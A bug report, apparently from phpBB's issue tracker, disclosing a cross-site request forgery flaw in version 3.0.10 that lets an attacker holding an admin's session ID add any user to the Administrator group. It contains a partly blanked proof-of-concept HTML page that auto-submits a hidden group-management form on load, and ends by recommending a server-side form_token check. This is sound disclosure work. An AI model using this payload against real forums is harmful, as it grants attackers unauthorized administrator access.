-
Bug
-
Resolution: Fixed
-
Blocker
-
3.0.10
-
None
You can use Cross Side Request Forgery (if you know the sid) to add users to any group you want.
Example for the CSRF:
UrlToAdminIndexPHP: http://www.example.com/phpBB/adm/index.php
GroupID: 5 (Administrator)
Username: KDSBest
This is hard to get normaly
SID: 73f11ebfa81616c0911ae0c9cbd6010d
<html>
<head>
<script type="text/javascript">
function submitForm()
</script>
</head>
<body onLoad="submitForm()">
<form action="
?&sid=
{SID}&i=groups&icat=12&mode=manage&g=
{GroupID}" method="post" id="list">
<input type="hidden" value="0" name="leader">
<input type="hidden" value="0" name="default">
<input type="hidden" value="
" name="usernames">
<input type="hidden" value="XXX" name="addusers">
<input type="hidden" value="0" name="creation_time">
<input type="hidden" value="0" name="form_token">
</form>
</body>
</html>
To make it harder to create a CSRF the field form_token should be checked server side.